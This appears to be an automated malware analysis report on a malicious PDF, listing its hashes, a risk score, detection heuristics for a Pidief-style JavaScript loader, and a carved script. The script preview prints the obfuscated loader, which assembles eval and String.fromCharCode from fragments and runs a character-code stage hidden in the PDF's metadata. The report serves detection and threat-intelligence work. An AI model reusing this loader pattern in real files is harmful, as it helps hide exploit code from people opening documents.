Malicious PDF — malware analysis report

Static analysis result for SHA-256 f5d5e0e0d8ae2c72…

MALICIOUS

PDF

45.2 KB Authoring application: substr First seen: 2026-05-09
MD5: d533a4965fa0883b45785a5bc8de87a9 SHA-1: 7b5149122ac82775fab12080d4c8a820881b3960 SHA-256: f5d5e0e0d8ae2c72f5e9963d8fa933145fa7cec4d099da241fa7430572c49c41
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious File

The PDF file was flagged as malicious by an ML classifier with very high confidence. Static analysis detected embedded JavaScript, which is often used to download and execute further payloads. The presence of JavaScript actions and embedded JS streams indicates an attempt to leverage script execution for malicious ends. The SHA256 hash is provided as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB25A 432 bytes
SHA-256: 81b33bc4bbb77bdcf01c3a493bdbb2b13212982440b033f4cb4480165f8b13b8
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
oaurg=e('ti'.concat(v[4],t));
q=oaurg[v](a.length-6,a.length+2);
dnt=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=oaurg[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	lcpo = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(dnt(lcpo));
	i++;
}
e(s2);

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